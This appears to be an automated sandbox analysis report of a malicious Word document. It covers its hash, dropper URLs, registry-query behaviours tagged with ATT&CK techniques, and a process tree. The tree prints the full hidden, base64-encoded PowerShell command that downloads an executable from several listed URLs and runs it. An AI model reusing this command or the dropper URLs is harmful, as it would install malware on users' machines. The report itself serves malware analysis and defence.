3319a17ec91c5eb4806bd631179ebc2f2bef86f5ee44534b95d753ae20185de3

General

Target

3319a17ec91c5eb4806bd631179ebc2f2bef86f5ee44534b95d753ae20185de3.doc
Sample

191212-tyz6n9asfs
SHA256

3319a17ec91c5eb4806bd631179ebc2f2bef86f5ee44534b95d753ae20185de3

Score

8^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://beekaygroup.com/wp-admin/9MmF/

exe.dropper

http://ddecoder.com/css/tct/

exe.dropper

http://ekolfotografcilik.com/administrator/dm3cou/

exe.dropper

http://fairfaxhost.com/Nets.eu/7Lzn9wt/

exe.dropper

http://int.spro3.fcomet.com/wp-admin/jv/

Signatures

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4844	WINWORD.EXE

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
4844	WINWORD.EXE
4576	693.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1512 wrote to memory of 1920	1512	SppExtComObj.exe	76
PID 4440 wrote to memory of 4576	4440	Powershell.exe	80

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4440	Powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
4440	Powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4844	WINWORD.EXE

Executes dropped EXE 1 IoCs

pid	Process
4576	693.exe

Checks system information in the registry 2 TTPs 2 IoCs

System information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\3319a17ec91c5eb4806bd631179ebc2f2bef86f5ee44534b95d753ae20185de3.doc" /o ""
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of FindShellTrayWindow
PID:4844

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
- Suspicious use of WriteProcessMemory
PID:1512
- C:\Windows\System32\SLUI.exe
  "C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent
  2⤵
  PID:1920

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABTAHQAcABwAHYAcQBwAHYAeAA9ACcATQBsAHgAcAB3AHYAcwBjAGMAZQByACcAOwAkAFMAeQB0AHEAZwBnAGEAbwB0AHQAYwByACAAPQAgACcANgA5ADMAJwA7ACQAQQBoAGMAcgB5AGIAYQBoAHkAagBlAHEAPQAnAFoAZAB4AGIAdwB5AHQAdQBkAHkAeAB4AGsAJwA7ACQAUwBlAHIAdABlAGIAeQBmAG4AdQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAUwB5AHQAcQBnAGcAYQBvAHQAdABjAHIAKwAnAC4AZQB4AGUAJwA7ACQAQgBhAGIAbwB0AHUAaQBtAGQAeQA9ACcARQBtAG8AbABmAHgAcwBkAHkAaABxACcAOwAkAFYAZABwAGoAaABkAGkAZQA9ACYAKAAnAG4AZQB3AC0AJwArACcAbwBiACcAKwAnAGoAZQAnACsAJwBjAHQAJwApACAATgBFAFQALgB3AGUAQgBjAEwAaQBlAE4AVAA7ACQAQgB5AGgAZwBwAGEAagBnAHEAeQBvAD0AJwBoAHQAdABwADoALwAvAGIAZQBlAGsAYQB5AGcAcgBvAHUAcAAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AOQBNAG0ARgAvACoAaAB0AHQAcAA6AC8ALwBkAGQAZQBjAG8AZABlAHIALgBjAG8AbQAvAGMAcwBzAC8AdABjAHQALwAqAGgAdAB0AHAAOgAvAC8AZQBrAG8AbABmAG8AdABvAGcAcgBhAGYAYwBpAGwAaQBrAC4AYwBvAG0ALwBhAGQAbQBpAG4AaQBzAHQAcgBhAHQAbwByAC8AZABtADMAYwBvAHUALwAqAGgAdAB0AHAAOgAvAC8AZgBhAGkAcgBmAGEAeABoAG8AcwB0AC4AYwBvAG0ALwBOAGUAdABzAC4AZQB1AC8ANwBMAHoAbgA5AHcAdAAvACoAaAB0AHQAcAA6AC8ALwBpAG4AdAAuAHMAcAByAG8AMwAuAGYAYwBvAG0AZQB0AC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBqAHYALwAnAC4AIgBzAFAATABgAEkAdAAiACgAJwAqACcAKQA7ACQAQgBnAGQAZQB1AGIAcgBrAD0AJwBJAGQAYwBmAGYAcQBxAHQAZABiAGgAbwBoACcAOwBmAG8AcgBlAGEAYwBoACgAJABOAHIAdgB4AHAAbAByAGIAZwBpACAAaQBuACAAJABCAHkAaABnAHAAYQBqAGcAcQB5AG8AKQB7AHQAcgB5AHsAJABWAGQAcABqAGgAZABpAGUALgAiAGQAbwB3AE4AbABgAE8AYABBAGQAZgBpAEwARQAiACgAJABOAHIAdgB4AHAAbAByAGIAZwBpACwAIAAkAFMAZQByAHQAZQBiAHkAZgBuAHUAKQA7ACQAUgBhAHIAbQBrAHQAagBnAG0AcgBvAD0AJwBKAHcAZABnAGcAbwBmAGgAZAByACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQAJwArACcALQBJACcAKwAnAHQAZQBtACcAKQAgACQAUwBlAHIAdABlAGIAeQBmAG4AdQApAC4AIgBMAEUAYABOAEcAdABoACIAIAAtAGcAZQAgADMAMAAwADUAMQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAFQAYQBgAFIAVAAiACgAJABTAGUAcgB0AGUAYgB5AGYAbgB1ACkAOwAkAE4AbgB0AHUAbQB5AG8AcQBkAD0AJwBZAG0AZAB5AHgAcABuAHIAbABoAGsAZwB5ACcAOwBiAHIAZQBhAGsAOwAkAFQAagBnAG4AaQBlAHoAYwBnAD0AJwBTAGUAcABxAHMAZgB2AGQAaAB1AGsAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATgBlAHYAYgBhAGMAZwB1AHMAZgA9ACcASwBwAHMAdgB6AGsAeABjAGsAJwA=
1⤵
- Suspicious use of WriteProcessMemory
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
PID:4440
- C:\Users\Admin\693.exe
  "C:\Users\Admin\693.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  - Executes dropped EXE
  PID:4576

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads